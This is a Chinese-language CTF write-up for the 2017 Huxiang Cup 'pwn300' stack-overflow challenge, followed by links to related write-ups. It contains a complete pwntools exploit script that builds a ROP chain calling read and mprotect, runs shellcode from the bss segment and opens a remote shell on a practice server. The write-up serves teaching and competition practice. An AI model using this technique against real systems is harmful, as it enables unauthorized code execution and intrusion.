2017湖湘杯 pwn300

该题为简单栈溢出，利用方法如下：
（1）覆盖返回地址为read函数读入shellcode
（2）执行mprotect让bss段的地址变的可执行
（3）跳转shellcode执行即可

from pwn import *
context(os='linux',arch='x86',log_level='debug')io=remote("node3.buuoj.cn",29028)
#io=process("pwn300")
elf=ELF('pwn300')def add(value):io.sendlineafter("5 Save the result",'1')io.sendlineafter("input the integer x:",str(value-1))io.sendlineafter("input the integer y:",'1')bss_addr=0x80EB000
read=elf.symbols['read']
mprotect=elf.symbols['mprotect']
pop_eax=0x080bb406
jmp_eax=0x08048f02
pop_ebxesiedi=0x08048913
io.sendlineafter("How many times do you want to calculate:",'40')for i in range(16):add(0)add(read)
add(pop_ebxesiedi)
add(0)
add(bss_addr)
add(0x50)
add(mprotect)
add(pop_ebxesiedi)
add(bss_addr)
add(0x1000)
add(7)
add(pop_eax)
add(bss_addr)
add(jmp_eax)
io.sendlineafter("5 Save the result",'5')
sleep(0.2)
io.send(asm(shellcraft.sh()))
io.interactive()

2017湖湘杯 pwn300相关推荐

2017湖湘杯Writeup
作者:LB919 出处:http://www.cnblogs.com/L1B0/ RE部分 0x01 Re4newer 解题思路: Step1:die打开,发现有upx壳. Step2:脱壳,执行up ...
2018湖湘杯海选复赛Writeup
2018湖湘杯Writeup 0x01 签到题 0x02 MISC Flow 0x03 WEB Code Check 0x04 WEB Readflag 0x05 WEB XmeO 0x06 Reve ...
湖湘杯2019两个密码题wp
湖湘杯2019两个密码题wp 还是自己太菜的原因,这次湖湘杯只做出来4道题,然后5点的时候就放弃了去跟同学出去玩了,当时感觉进前50无望(这次湖湘杯py情况也很严重啊,可惜烽火台只报不封,挺恶心的 ...
2019湖湘杯 misc3 之miscmisc
** 2019湖湘杯 misc3 之miscmisc* 明文攻击关于LSB图片隐写的解法 word字符隐藏显示 zip加密文件破解作为CTF小白,对于CTF一如既往的热爱,一个人报名了今年的湖湘杯 ...
2020湖湘杯 wp
2020湖湘杯 wp web 题目名字不重要反正题挺简单的 NewWebsite misc misc2(题目名忘了.....) 总结昨天打了下湖湘杯,签到选手上线. web 题目名字不重要反正题挺简 ...
2020湖湘杯部分writeup
周末打了湖湘杯,把做题过程记录一下,大家交流学习. 下面的链接里有题目,可以下来看看. https://download.csdn.net/download/jameswhite2417/130819 ...
2021湖湘杯 Hideit Writeup
2021湖湘杯 Hideit AAA : immortal 动态调试直接x64dbg动调找到了关键的加密代码分别是xxtea 和 chacha20,直接动调从中拿出各种参数然后写代码进行解密.其实一 ...
2020湖湘杯-CTF-MISC-颜文字
2020HXB-CTF-MISC-颜文字颜文字题目分析开始 1.题目 2.流量分析 3.html分析 4.base64隐写 5.snow隐写 6.摩尔斯结语每天一题,只能多不能少颜文字题 ...
2020湖湘杯-CRYPTO-LFSRXOR
2020HXB-CRYPTO-LFSRXOR LFSRXOR 题目分析开始 1.题目 2.数学理论 3.回到题目 (1)源代码 (2)LFSR分析 (3)content原文分析 4.破解 5.get ...

2017湖湘杯 pwn300

2017湖湘杯 pwn300

2017湖湘杯 pwn300相关推荐

最新文章

热门文章